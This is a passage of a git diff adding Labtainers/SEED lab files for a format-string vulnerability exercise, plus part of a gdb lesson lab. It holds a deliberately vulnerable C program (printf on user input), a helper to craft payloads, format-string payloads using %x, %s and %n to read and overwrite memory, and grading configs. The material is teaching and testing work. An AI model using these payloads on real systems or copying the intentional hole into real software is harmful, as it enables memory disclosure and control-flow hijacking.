of from the keyboard. + +You need to pay attention to some special numbers, such as 0x$0A$ (newline), +0x$0C$ (form feed), 0x$0D$ (return), and 0x$20$ (space). +{\tt scanf} considers them as separator, and will stop reading anything +after these special characters if we have only one {\tt "\%s"} in +{\tt scanf}. If one of these special numbers are in the address, +you have to find ways to get around this. +To simplify your task, if you are unlucky and the secret's address +happen to have those special numbers in it, we allow you to add another {\tt malloc} +statement before you allocate memory for {\tt secret[2]}. This extra +{\tt malloc} can cause the address of secret values to change. If you +give the {\tt malloc} an appropriate value, you can +create a ``lucky'' situation, where the addresses of secret do not +contain those special numbers. + +The following program writes a format string into a file called {\tt mystring}. +The first four bytes consist of an arbitrary number that you want +to put in this format string, followed by the rest of format string +that you typed in from your keyboard. + +\begin{lstlisting} +/* write_string.c */ + +#include +#include +#include +#include +#include + +int main() +{ + char buf[1000]; + int fp, size; + unsigned int *address; + + /* Putting any number you like at the beginning of the format string */ + address = (unsigned int *) buf; + *address = 0x804b01c; + + /* Getting the rest of the format string */ + scanf("%s", buf+4); + size = strlen(buf+4) + 4; + printf("The string length is %d\n", size); + + /* Writing buf to "mystring" */ + fp = open("mystring", O_RDWR | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR); + if (fp != -1) { + write(fp, buf, size); + close(fp); + } else { + printf("Open failed!\n"); + } +} +\end{lstlisting} + + +\section{Guidelines} + + +\subsection{What is a format string?} + +\begin{verbatim} + printf ("The magic number is: %d\n", 1911); +\end{verbatim} + +The text to be printed is ``The magic number is:'', followed by a format +parameter `\%d', which is replaced with the parameter (1911) in the output. +Therefore the output looks like: The magic number is: 1911. In addition to +\%d, +there are several other format parameters, each having different meaning. +The +following table summarizes these format parameters: +\begin{Verbatim}[frame=single] +Parameter Meaning Passed as +------------------------------------------------------------------- + %d decimal (int) value + %u unsigned decimal (unsigned int) value + %x hexadecimal (unsigned int) value + %s string ((const) (unsigned) char *) reference + %n number of bytes written so far, (* int) reference +\end{Verbatim} + +\subsection{The Stack and Format Strings} + + +The behavior of the format function is controlled by the format string. +The function retrieves the parameters requested by the format string +from the stack. + +\begin{Verbatim}[frame=single] +printf ("a has value %d, b has value %d, c is at address: %08x\n", + a, b, &c); +\end{Verbatim} + + +\begin{center} +\includegraphics*[viewport=1.10in 5.70in 6.1in 9.5in,width=3.5in,natwidth=621,natheight=403]{Figs/Format_String_Stack.pdf} +\end{center} + + +\subsection{What if there is a miss-match} + +What if there is a miss-match between the format string and the actual + arguments? +\begin{Verbatim}[frame=single] +printf ("a has value %d, b has value %d, c is at address: %08x\n", + a, b); +\end{Verbatim} + + \begin{itemize} + \item In the above example, the format string asks for 3 arguments, but the + program actually provides only two (i.e. $a$ and $b$). + \item Can this program pass the compiler? + \begin{itemize} + \item The function {\tt printf()} is defined as function with variable + length of arguments. Therefore, by looking at the number of + arguments, everything looks fine. + \item To find the miss-match, compilers needs to understand how + {\tt printf()} works and what the meaning of the format string + is. However, compilers usually do not do this kind of analysis. + \item Sometimes, the format string is not a constant string, it is + generated during the execution of the program. Therefore, there + is no way for the compiler to find the miss-match in this case. + \end{itemize} + \item Can {\tt printf()} detect the miss-match? + \begin{itemize} + \item The function {\tt printf()} fetches the arguments from the stack. + If the format string needs 3 arguments, it will fetch 3 data items + from the stack. + Unless the stack is marked with a boundary, {\tt printf()} does not + know that it runs out of the arguments that are provided to it. + \item Since there is no such a marking. {\tt printf()} will continue + fetching data from the stack. In a miss-match case, it will + fetch some data that do not belong to this function call. + \end{itemize} + + \item What trouble can be caused by {\tt printf()} when it starts to + fetch data that is meant for it? + + \end{itemize} + + + +\subsection{Viewing Memory at Any Location} + + + \begin{itemize} + \item We have to supply an address of the memory. However, we cannot change + the code; we can only supply the format string. + \item If we use {\tt printf(\%s)} without specifying a memory address, the + target address will be obtained from the stack anyway by the {\tt printf()} + function. The function maintains an initial stack pointer, so it knows the location + of the parameters in the stack. + + \item Observation: the format string is usually located on the stack. If we + can encode the target address in the format string, the target address will + be in the stack. In the following example, the format string is stored in + a buffer, which is located on the stack. + +\begin{lstlisting} +int main(int argc, char *argv[]) +{ + char user_input[100]; + ... ... /* other variable definitions and statements */ + + scanf("%s", user_input); /* getting a string from user */ + printf(user_input); /* Vulnerable place */ + + return 0; +} +\end{lstlisting} + + + \item If we can force the printf to obtain the address from the format + string (also on the stack), we can control the address. + +\begin{verbatim} +printf ("\x10\x01\x48\x08 %x %x %x %x %s"); +\end{verbatim} + + + \item \verb|\x10\x01\x48\x08| are the four bytes of the target address. + In C language, \verb|\x10| in a string tells the compiler to put + a hexadecimal value \verb|0x10| in the current position. The value + will take up just one byte. Without using \verb|\x|, if we directly + put \verb|"10"| in a string, the ASCII values of the characters \verb|'1'| + and \verb|'0'| will be stored. Their ASCII values are + $49$ and $48$, respectively. + + \item {\tt \%x} causes the stack pointer to move towards the format string. + + \item Here is how the attack works if {\tt user\_input[]} contains the + following format string: + +\begin{verbatim} +"\x10\x01\x48\x08 %x %x %x %x %s". +\end{verbatim} +\begin{center} +\includegraphics*[viewport=0.6in 4.10in 6.5in 8.1in,width=5.5in,natwidth=621,natheight=403]{Figs/Format_String_Attack.pdf} +\end{center} + + \item Basically, we use four \verb|%x| to move the {\tt printf()}'s pointer + towards the address that we stored in the format string. Once we reach + the destination, we will give \verb|%s| to {\tt print()}, causing it + to print out the contents in the memory address \verb|0x10014808|. + The function {\tt printf()} will treat the contents as a string, and + print out the string until reaching the end of the string (i.e. 0). + + \item The stack space between {\tt user\_input[]} and the address passed to + the {\tt printf()} function is not for {\tt printf()}. However, because + of the format-string vulnerability in the program, {\tt printf()} + considers them as the arguments to match with the \verb|%x| in + the format string. + + \item The key challenge in this attack is to figure out the distance between the + {\tt user\_input[]} and the address passed to the {\tt printf()} function. + This distance decides how many \verb|%x| you need to insert into the + format string, before giving \verb|%s|. + + + \end{itemize} + + + + +\subsection{Writing an Integer to Memory} + + \begin{itemize} + \item {\tt \%n}: The number of characters written so far is stored into the + integer indicated by the corresponding argument. + \begin{Verbatim}[frame=single] + int i; + printf ("12345%n", &i); + \end{Verbatim} + \item It causes {\tt printf()} to write 5 into variable $i$. + + \item Using the same approach as that for viewing memory at any location, we + can cause {\tt printf()} to write an integer into any location. Just replace + the \verb|%s| in the above example with \verb|%n|, and the contents at the + address \verb|0x10014808| will be overwritten. + + \item Using this attack, attackers can do the following: + \begin{itemize} + \item Overwrite important program flags that control access privileges + \item Overwrite return addresses on the stack, function pointers, etc. + \end{itemize} + + \item However, the value written is determined by the number of characters + printed before the {\tt \%n} is reached. Is it really possible to write + arbitrary integer values? + \begin{itemize} + \item Use dummy output characters. To write a value of 1000, a simple + padding of 1000 dummy characters would do. + \item To avoid long format strings, we can use a width specification of + the format indicators. + \end{itemize} + \end{itemize} + + + + + + + +\section{Submission} +When the lab is completed, or you'd like to stop working for a while, run +\begin{verbatim} + stoplab formatstring +\end{verbatim} + +from the host Labtainer working directory. You can always restart the +Labtainer to continue your work. When the Labtainer is stopped, a +zip file is created and copied to a location displayed by the stoplab +command. When the lab is completed, send that zip file to the instructor. + +You need to submit a detailed lab report to describe what you have +done and what you have observed; you also need to provide explanation +to the observations that are interesting or surprising. + +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/Makefile new file mode 100644 index 000000000..ea5381b88 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/Makefile @@ -0,0 +1,8 @@ +formatstring.pdf: Format_String.tex header.tex + latex Format_String + pdflatex -jobname=formatstring Format_String + pdflatex -jobname=formatstring Format_String + +clean: + rm -fr auto + rm -f Format_String.aux Format_String.log Format_String.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/header.tex new file mode 100644 index 000000000..7f54b5b32 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/header.tex @@ -0,0 +1,225 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} + +\usepackage{subfigure} +\usepackage{cite} +%\usepackage{cases} +%\usepackage{ltexpprt} +%\usepackage{verbatim} + +%\topmargin -0.70in % distance to headers +%\headheight 0.2in % height of header box +%\headsep 0.4in % distance to top line +%\footskip 0.3in % distance from bottom line + +% Horizontal alignment +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + +\newcommand{\copyrightnoticeA}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small Copyright \copyright\ 2006 - 2014\ \ Wenliang Du, Syracuse University.\\ + The development of this document is partially funded by + the National Science Foundation's Course, Curriculum, and Laboratory + Improvement (CCLI) program under Award No. 0618680 and 0231122. + Permission is granted to copy, distribute and/or modify this document + under the terms of the GNU Free Documentation License, Version 1.2 + or any later version published by the Free Software Foundation. + A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.}} +\vspace{0.1in} +} + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small Copyright \copyright\ 2006 - 2014\ \ Wenliang Du, Syracuse University.\\ + The development of this document is/was funded by three grants from + the US National Science Foundation: Awards No. 0231122 and 0618680 from + TUES/CCLI and Award No. 1017771 from Trustworthy Computing. + This lab was imported into the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under National Science + Foundation Award No. 1438893. + Permission is granted to copy, distribute and/or modify this document + under the terms of the GNU Free Documentation License, Version 1.2 + or any later version published by the Free Software Foundation. + A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.}} +\vspace{0.1in} +} + +\newcommand{\copyrightnoticeB}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small Copyright \copyright\ 2006 - 2014\ \ Wenliang Du, Syracuse University.\\ + The development of this document is/was funded by the following grants from + the US National Science Foundation: No. 0231122, 0618680, and 1303306. + Permission is granted to copy, distribute and/or modify this document + under the terms of the GNU Free Documentation License, Version 1.2 + or any later version published by the Free Software Foundation. + A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.}} +\vspace{0.1in} +} + + +\newcommand{\nocopyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small + The development of this document is funded by + the National Science Foundation's Course, Curriculum, and Laboratory + Improvement (CCLI) program under Award No. 0618680 and 0231122. + Permission is granted to copy, distribute and/or modify this document. + }} +\vspace{0.1in} +} + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\minix}{{\tt Minix}\xspace} +\newcommand{\unix}{{\tt Unix}\xspace} +\newcommand{\linux}{{\tt Linux}\xspace} +\newcommand{\ubuntu}{{\tt Ubuntu}\xspace} +\newcommand{\selinux}{{\tt SELinux}\xspace} +\newcommand{\freebsd}{{\tt FreeBSD}\xspace} +\newcommand{\solaris}{{\tt Solaris}\xspace} +\newcommand{\windowsnt}{{\tt Windows NT}\xspace} +\newcommand{\setuid}{{\tt Set-UID}\xspace} +%\newcommand{\smx}{{\tt Smx}\xspace} +\newcommand{\smx}{{\tt Minix}\xspace} +\newcommand{\relay}{{\tt relay}\xspace} +\newcommand{\isys}{{\tt iSYS}\xspace} +\newcommand{\ilan}{{\tt iLAN}\xspace} +\newcommand{\iSYS}{{\tt iSYS}\xspace} +\newcommand{\iLAN}{{\tt iLAN}\xspace} +\newcommand{\iLANs}{{\tt iLAN}s\xspace} +\newcommand{\bochs}{{\tt Bochs}\xspace} + +\newcommand\FF{{\mathcal{F}}} + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +%\pagestyle{fancyplain} +%\lhead[\thepage]{\thesection} % Note the different brackets! +%\rhead[\thesection]{SEED Laboratories} +%\lfoot[\fancyplain{}{}]{Syracuse University} +%\cfoot[\fancyplain{}{}]{\thepage} + +\newcommand{\tstamp}{\today} +%\lhead[\fancyplain{}{\thepage}] {\fancyplain{}{\rightmark}} +%\chead[\fancyplain{}{}] {\fancyplain{}{}} +%\rhead[\fancyplain{}{\rightmark}] {\fancyplain{}{\thepage}} +%\lfoot[\fancyplain{}{}] {\fancyplain{\tstamp}{\tstamp}} +%\cfoot[\fancyplain{\thepage}{}] {\fancyplain{\thepage}{}} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +%\lhead{\bfseries Computer Security Course Project} +\lhead{\bfseries SEED Labs} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + +\usepackage{listings} +\usepackage{color} + +\definecolor{dkgreen}{rgb}{0,0.6,0} +\definecolor{gray}{rgb}{0.5,0.5,0.5} +\definecolor{mauve}{rgb}{0.58,0,0.82} + +\lstset{frame=tb, + language=C, + aboveskip=3mm, + belowskip=3mm, + showstringspaces=false, + columns=flexible, + basicstyle={\small\ttfamily}, + numbers=none, + numberstyle=\tiny\color{gray}, + keywordstyle=\color{blue}, + commentstyle=\color{dkgreen}, + stringstyle=\color{mauve}, + breaklines=true, + breakatwhitespace=true, + tabsize=3 +} + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/read_first.txt new file mode 100644 index 000000000..131ca5591 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/read_first.txt @@ -0,0 +1,5 @@ +Format String Lab -- Read this first + +The lab manual for this lab is at: +file://LAB_DOCS/formatstring.pdf +Right click on the link and select "Open link". diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/formatstring/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/formatstring/_bin/fixlocal.sh new file mode 100755 index 000000000..7d3798763 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/formatstring/_bin/fixlocal.sh @@ -0,0 +1,3 @@ +#!/bin/bash +cd $HOME +gcc -m32 -fno-stack-protector -g -o vul_prog vul_prog.c diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/formatstring/_bin/precheck.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/formatstring/_bin/precheck.sh new file mode 100755 index 000000000..54b45d552 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/formatstring/_bin/precheck.sh @@ -0,0 +1 @@ +sudo sysctl kernel.randomize_va_space diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/formatstring/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/formatstring/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/formatstring/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/formatstring/vul_prog.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/formatstring/vul_prog.c new file mode 100644 index 000000000..1d2565f56 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/formatstring/vul_prog.c @@ -0,0 +1,42 @@ +/* vul_prog.c */ + +#include +#include + +#define SECRET1 0x40 +#define SECRET2 SECRET2_VALUE + +int main(int argc, char *argv[]) +{ + char user_input[100]; + int *secret; + int *address_fix; /* hack to keep scanf delimiters out of addresses */ + int int_input; + int a, b, c, d; /* other variables, not used here.*/ + + /* The secret value is stored on the heap */ + address_fix = (int *) malloc(2*sizeof(int)); + secret = (int *) malloc(2*sizeof(int)); + + /* getting the secret */ + secret[0] = SECRET1; secret[1] = SECRET2; + + printf("The variable secret's address is 0x%x (on stack)\n", (unsigned int)&secret); + printf("The variable secret's value is 0x%x (on heap)\n", (unsigned int)secret); + printf("secret[0]'s address is 0x%x (on heap)\n", (unsigned int)&secret[0]); + printf("secret[1]'s address is 0x%x (on heap)\n", (unsigned int)&secret[1]); + + printf("Please enter a decimal integer\n"); + scanf("%d", &int_input); /* getting an input from user */ + printf("Please enter a string\n"); + scanf("%s", user_input); /* getting a string from user */ + + /* Vulnerable place */ + printf(user_input); + printf("\n"); + + /* Verify whether your attack is successful */ + printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2); + printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]); + return 0; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/formatstring/write_string.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/formatstring/write_string.c new file mode 100644 index 000000000..463328c7d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/formatstring/write_string.c @@ -0,0 +1,32 @@ +/* write_string.c */ + +#include +#include +#include +#include +#include + +int main() +{ + char buf[1000]; + int fp, size; + unsigned int *address; + + /* Putting any number you like at the beginning of the format string */ + address = (unsigned int *) buf; + *address = 0x804b01c; + + /* Getting the rest of the format string */ + scanf("%s", buf+4); + size = strlen(buf+4) + 4; + printf("The string length is %d\n", size); + + /* Writing buf to "mystring" */ + fp = open("mystring", O_RDWR | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR); + if (fp != -1) { + write(fp, buf, size); + close(fp); + } else { + printf("Open failed!\n"); + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/instr_config/goals.config new file mode 100644 index 000000000..942408df1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/instr_config/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide + +# The following are meant for format string vulnerability lab +# Note, the crash goal could have used the "boolean" operator +# as well because the results all come from the same program +# stdout, and thus share timestamp sets. +# DOC: whether the student crashed the program +crash = count_greater : 0 : ( _crash_smash, _crash_sig, _crash_seg ) + +# DOC: was the secret2 value leaked? +_leaked_secret = matchany : string_contains : leaked_secret1 : parameter_ascii.SECRET2 +# DOC: was the secret2 value modified? +modify_value = matchany : string_diff : newsecret1value : result.origsecret1value +# DOC: was the secret2 value modified to a specific value? +modify_specific = matchany : string_equal : newsecret1value : answer=0xa +# count stdin to determine if first scanf was disabled +_in_lines_2 = matchany : string_equal : input_lines : answer=2 +# was ASLR enabled? +_aslr_on = matchany : string_equal : aslr : answer=2 +# DOC: secret leaked with ASLR enabled? +leaked_secret = boolean : ( _aslr_on and _leaked_secret ) +# DOC: secret leaked with ASLR no scanf, and ASLR disabled? +leaked_no_scanf = boolean : ( (_in_lines_2 and _leaked_secret) and_not _aslr_on ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/instr_config/results.config new file mode 100644 index 000000000..f55e872f5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/instr_config/results.config @@ -0,0 +1,12 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide + +_crash_sig = vul_prog.stdout : CONTAINS : program exit, segmentation +_crash_smash = vul_prog.stdout : CONTAINS : *** stack smashing detected +_crash_seg = vul_prog.stdout : CONTAINS : Segmentation fault +origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: +newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: +leaked_secret1 = vul_prog.stdout : LAST : NEXT_STARTSWITH : The original secrets: +input_lines = vul_prog.stdin : LINE_COUNT +aslr = precheck.stdout : 3 : STARTSWITH : kernel.randomize_va_space diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/config/about.txt new file mode 100644 index 000000000..71f5498b1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/config/about.txt @@ -0,0 +1 @@ +An introduction to using gdb to debug a simple C program. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/config/parameter.config new file mode 100644 index 000000000..2ef9ce22e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/config/start.config new file mode 100644 index 000000000..8534bd961 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/config/start.config @@ -0,0 +1,45 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + GRADE_CONTAINER gdblesson + + # HOST_HOME_XFER - directory to transfer artifact to/from containers + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED gdblesson_ubuntu_master_seed + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +# NETWORK DMZ_LINK +# MASK 172.25.0.0/24 +# GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER gdblesson + # user name of user who interacts with the container. + USER ubuntu + # + # The number of terminals defaults to 2 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/dockerfiles/Dockerfile.gdblesson.gdblesson.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/dockerfiles/Dockerfile.gdblesson.gdblesson.student new file mode 100644 index 000000000..6c3303ce1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/dockerfiles/Dockerfile.gdblesson.gdblesson.student @@ -0,0 +1,25 @@ +# +# Labtainer Dockerfile +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.base +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/docs/Makefile new file mode 100644 index 000000000..eb77fc4c4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/docs/Makefile @@ -0,0 +1,6 @@ +gdblesson.pdf: gdblesson.docx + soffice --convert-to pdf gdblesson.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/docs/gdblesson.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/docs/gdblesson.docx new file mode 100644 index 000000000..094eed138 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/docs/gdblesson.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/docs/read_first.txt new file mode 100644 index 000000000..5e905ee55 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/docs/read_first.txt @@ -0,0 +1,6 @@ +The lab manual is at + file://LAB_DOCS/gdblesson.pdf + +You may open the manual by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/gdblesson/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/gdblesson/_bin/fixlocal.sh new file mode 100755 index 000000000..f5856942a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/gdblesson/_bin/fixlocal.sh @@ -0,0 +1,5 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/gdblesson/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/gdblesson/_bin/treataslocal new file mode 100644 index 000000000..13da6c416 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/gdblesson/_bin/treataslocal @@ -0,0 +1,3 @@ +/bin/chmod +/usr/bin/gdb +/usr/bin/gcc diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/gdblesson/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/gdblesson/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/gdblesson/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/gdblesson/sampleMath.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/gdblesson/sampleMath.c new file mode 100644 index 000000000..8db18feb0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/gdblesson/sampleMath.c @@ -0,0 +1,15 @@ +#include +void main() { + int num; + int count; + int total; + total = 0; + num = 6; + count = 15; + while(count > 0) { /* Modify this line only */ + total = count / num; + count--; + num--; + printf("Total is: %d\n", total); + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/gdblesson/sampleMath2.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/gdblesson/sampleMath2.c new file mode 100644 index 000000000..6c62192e1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdblesson/gdblesson/sampleMath2.c @@ -0,0 